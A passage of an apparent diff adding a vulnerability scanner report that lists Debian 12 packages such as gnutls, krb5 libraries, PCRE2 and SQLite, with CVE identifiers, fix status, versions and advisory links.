│ │ gnutls: Vulnerability in GnuTLS certtool template parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-32990 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33846 │ │ │ │ 3.7.9-2+deb12u7 │ gnutls: GnuTLS: Denial of Service via heap buffer overflow │ +│ │ │ │ │ │ │ in DTLS handshake... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33846 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-3833 │ │ │ │ │ gnutls: GnuTLS: Policy bypass due to case-sensitive │ +│ │ │ │ │ │ │ nameConstraints comparison │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-3833 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42009 │ │ │ │ │ gnutls: gnutls: Denial of Service via DTLS packet reordering │ +│ │ │ │ │ │ │ vulnerability │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42009 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libgssapi-krb5-2 │ CVE-2026-107364 │ │ affected │ 1.20.1-2+deb12u3 │ │ krb5: Unauthenticated KDC DoS based on ASN.1 decoder read │ +│ │ │ │ │ │ │ overrun │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-107364 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112315 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS in │ +│ │ │ │ │ │ │ RPCSEC_GSS buffer decode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112315 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112316 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory leak DoS in │ +│ │ │ │ │ │ │ xdr_krb5_tl_data() decode failure... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112316 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112317 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated memory leak DoS in KDB │ +│ │ │ │ │ │ │ keytab key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112317 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112318 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated DoS exploiting │ +│ │ │ │ │ │ │ dereference of null policy name... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112318 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112319 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory exhaustion DoS │ +│ │ │ │ │ │ │ via unbounded RPC XDR... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112319 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112320 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ GSS-RPC auth flavor... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112320 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112321 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI_INIT error paths... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112321 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112322 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated CPU DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI client states cleanup... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112322 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112323 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory exhaustion via │ +│ │ │ │ │ │ │ failed AUTH_GSSAPI_INIT requests │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112323 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-118380 │ │ │ │ │ krb5: kadmind: request alteration and protected information │ +│ │ │ │ │ │ │ disclosure │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-118380 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-119079 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated CPU DoS via quadratic │ +│ │ │ │ │ │ │ ASN.1 SEQUENCE OF... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-119079 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40355 │ │ fixed │ │ 1.20.1-2+deb12u5 │ krb5: MIT Kerberos 5: Denial of Service via NULL pointer │ +│ │ │ │ │ │ │ dereference in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40355 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40356 │ │ │ │ │ krb5: MIT Kerberos 5 (krb5): Denial of Service via integer │ +│ │ │ │ │ │ │ underflow and... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40356 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71199 │ │ affected │ │ │ krb5: Alteration of authentication indicators in CAMMAC │ +│ │ │ │ │ │ │ container │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71199 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71200 │ │ │ │ │ krb5: Unauthenticated KDC NULL pointer dereference KDC DoS │ +│ │ │ │ │ │ │ via crafted PKINIT pre-auth... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71200 │ +├────────────────────┼─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libk5crypto3 │ CVE-2026-107364 │ │ │ │ │ krb5: Unauthenticated KDC DoS based on ASN.1 decoder read │ +│ │ │ │ │ │ │ overrun │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-107364 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112315 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS in │ +│ │ │ │ │ │ │ RPCSEC_GSS buffer decode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112315 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112316 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory leak DoS in │ +│ │ │ │ │ │ │ xdr_krb5_tl_data() decode failure... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112316 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112317 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated memory leak DoS in KDB │ +│ │ │ │ │ │ │ keytab key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112317 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112318 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated DoS exploiting │ +│ │ │ │ │ │ │ dereference of null policy name... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112318 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112319 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory exhaustion DoS │ +│ │ │ │ │ │ │ via unbounded RPC XDR... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112319 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112320 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ GSS-RPC auth flavor... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112320 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112321 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI_INIT error paths... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112321 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112322 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated CPU DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI client states cleanup... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112322 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112323 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory exhaustion via │ +│ │ │ │ │ │ │ failed AUTH_GSSAPI_INIT requests │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112323 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-118380 │ │ │ │ │ krb5: kadmind: request alteration and protected information │ +│ │ │ │ │ │ │ disclosure │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-118380 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-119079 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated CPU DoS via quadratic │ +│ │ │ │ │ │ │ ASN.1 SEQUENCE OF... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-119079 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40355 │ │ fixed │ │ 1.20.1-2+deb12u5 │ krb5: MIT Kerberos 5: Denial of Service via NULL pointer │ +│ │ │ │ │ │ │ dereference in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40355 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40356 │ │ │ │ │ krb5: MIT Kerberos 5 (krb5): Denial of Service via integer │ +│ │ │ │ │ │ │ underflow and... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40356 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71199 │ │ affected │ │ │ krb5: Alteration of authentication indicators in CAMMAC │ +│ │ │ │ │ │ │ container │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71199 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71200 │ │ │ │ │ krb5: Unauthenticated KDC NULL pointer dereference KDC DoS │ +│ │ │ │ │ │ │ via crafted PKINIT pre-auth... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71200 │ +├────────────────────┼─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libkrb5-3 │ CVE-2026-107364 │ │ │ │ │ krb5: Unauthenticated KDC DoS based on ASN.1 decoder read │ +│ │ │ │ │ │ │ overrun │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-107364 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112315 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS in │ +│ │ │ │ │ │ │ RPCSEC_GSS buffer decode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112315 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112316 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory leak DoS in │ +│ │ │ │ │ │ │ xdr_krb5_tl_data() decode failure... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112316 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112317 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated memory leak DoS in KDB │ +│ │ │ │ │ │ │ keytab key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112317 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112318 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated DoS exploiting │ +│ │ │ │ │ │ │ dereference of null policy name... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112318 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112319 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory exhaustion DoS │ +│ │ │ │ │ │ │ via unbounded RPC XDR... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112319 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112320 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ GSS-RPC auth flavor... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112320 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112321 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI_INIT error paths... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112321 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112322 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated CPU DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI client states cleanup... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112322 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112323 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory exhaustion via │ +│ │ │ │ │ │ │ failed AUTH_GSSAPI_INIT requests │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112323 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-118380 │ │ │ │ │ krb5: kadmind: request alteration and protected information │ +│ │ │ │ │ │ │ disclosure │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-118380 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-119079 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated CPU DoS via quadratic │ +│ │ │ │ │ │ │ ASN.1 SEQUENCE OF... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-119079 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40355 │ │ fixed │ │ 1.20.1-2+deb12u5 │ krb5: MIT Kerberos 5: Denial of Service via NULL pointer │ +│ │ │ │ │ │ │ dereference in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40355 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40356 │ │ │ │ │ krb5: MIT Kerberos 5 (krb5): Denial of Service via integer │ +│ │ │ │ │ │ │ underflow and... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40356 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71199 │ │ affected │ │ │ krb5: Alteration of authentication indicators in CAMMAC │ +│ │ │ │ │ │ │ container │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71199 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71200 │ │ │ │ │ krb5: Unauthenticated KDC NULL pointer dereference KDC DoS │ +│ │ │ │ │ │ │ via crafted PKINIT pre-auth... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71200 │ +├────────────────────┼─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libkrb5support0 │ CVE-2026-107364 │ │ │ │ │ krb5: Unauthenticated KDC DoS based on ASN.1 decoder read │ +│ │ │ │ │ │ │ overrun │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-107364 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112315 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS in │ +│ │ │ │ │ │ │ RPCSEC_GSS buffer decode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112315 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112316 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory leak DoS in │ +│ │ │ │ │ │ │ xdr_krb5_tl_data() decode failure... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112316 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112317 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated memory leak DoS in KDB │ +│ │ │ │ │ │ │ keytab key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112317 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112318 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated DoS exploiting │ +│ │ │ │ │ │ │ dereference of null policy name... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112318 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112319 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory exhaustion DoS │ +│ │ │ │ │ │ │ via unbounded RPC XDR... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112319 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112320 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ GSS-RPC auth flavor... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112320 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112321 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI_INIT error paths... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112321 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112322 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated CPU DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI client states cleanup... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112322 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112323 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory exhaustion via │ +│ │ │ │ │ │ │ failed AUTH_GSSAPI_INIT requests │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112323 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-118380 │ │ │ │ │ krb5: kadmind: request alteration and protected information │ +│ │ │ │ │ │ │ disclosure │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-118380 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-119079 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated CPU DoS via quadratic │ +│ │ │ │ │ │ │ ASN.1 SEQUENCE OF... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-119079 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40355 │ │ fixed │ │ 1.20.1-2+deb12u5 │ krb5: MIT Kerberos 5: Denial of Service via NULL pointer │ +│ │ │ │ │ │ │ dereference in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40355 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40356 │ │ │ │ │ krb5: MIT Kerberos 5 (krb5): Denial of Service via integer │ +│ │ │ │ │ │ │ underflow and... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40356 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71199 │ │ affected │ │ │ krb5: Alteration of authentication indicators in CAMMAC │ +│ │ │ │ │ │ │ container │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71199 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71200 │ │ │ │ │ krb5: Unauthenticated KDC NULL pointer dereference KDC DoS │ +│ │ │ │ │ │ │ via crafted PKINIT pre-auth... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71200 │ +├────────────────────┼─────────────────┤ │ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libmount1 │ CVE-2026-53613 │ │ │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ │ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libncursesw6 │ CVE-2025-69720 │ │ │ 6.4-4 │ │ ncurses: ncurses: Buffer overflow vulnerability may lead to │ +│ │ │ │ │ │ │ arbitrary code execution. │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69720 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libpam-modules │ CVE-2025-6020 │ │ fixed │ 1.5.2-6+deb12u1 │ 1.5.2-6+deb12u2 │ linux-pam: Linux-pam directory Traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-6020 │ +├────────────────────┤ │ │ │ │ │ │ +│ libpam-modules-bin │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┤ │ │ │ │ │ │ +│ libpam-runtime │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┤ │ │ │ │ │ │ +│ libpam0g │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┼─────────────────┤ │ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libpcre2-8-0 │ CVE-2026-103111 │ │ │ 10.42-1 │ 10.42-1+deb12u2 │ pcre2: pcre2: Out-of-bounds write via crafted regular │ +│ │ │ │ │ │ │ expression │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-103111 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-86145 │ │ │ │ 10.42-1+deb12u1 │ pcre2: PCRE2: Out-of-bounds write allows arbitrary code │ +│ │ │ │ │ │ │ execution via crafted regular expressions... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-86145 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-89157 │ │ │ │ │ pcre2: PCRE2: Out-of-bounds write via large pattern input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-89157 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-89161 │ │ │ │ │ pcre2: PCRE2: Memory corruption vulnerability in │ +│ │ │ │ │ │ │ pcre2_jit_match │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-89161 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libsmartcols1 │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┼──────────┤ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libsqlite3-0 │ CVE-2025-7458 │ CRITICAL │ │ 3.40.1-2+deb12u1 │ │ sqlite: SQLite integer overflow │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-7458 │ +│ ├─────────────────┼──────────┼──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-6965 │ HIGH │ fixed │ │ 3.40.1-2+deb12u2 │ sqlite: Integer Truncation in SQLite │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-6965 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-11822 │ │ fix_deferred │ │ │ sqlite: SQLite: Arbitrary code execution via crafted FTS5 │ +│ │ │ │ │ │ │ full-text search data │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-11822 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-11824 │ │ │ │ │ sqlite: SQLite: Arbitrary code execution and crash via │ +│ │ │ │ │ │ │ heap-based buffer overflow in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-11824 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-119373 │ │ affected │ │ │ sqlite: sqlite: Denial of service via heap-based buffer │ +│ │ │ │ │ │ │ overflow in FTS5 │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-119373 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-119374 │ │ │ │ │ sqlite: sqlite: Arbitrary code execution via corrupted FTS5 │ +│ │ │ │ │ │ │ index │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-119374 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-119379 │ │ │ │ │ sqlite: sqlite: Arbitrary code 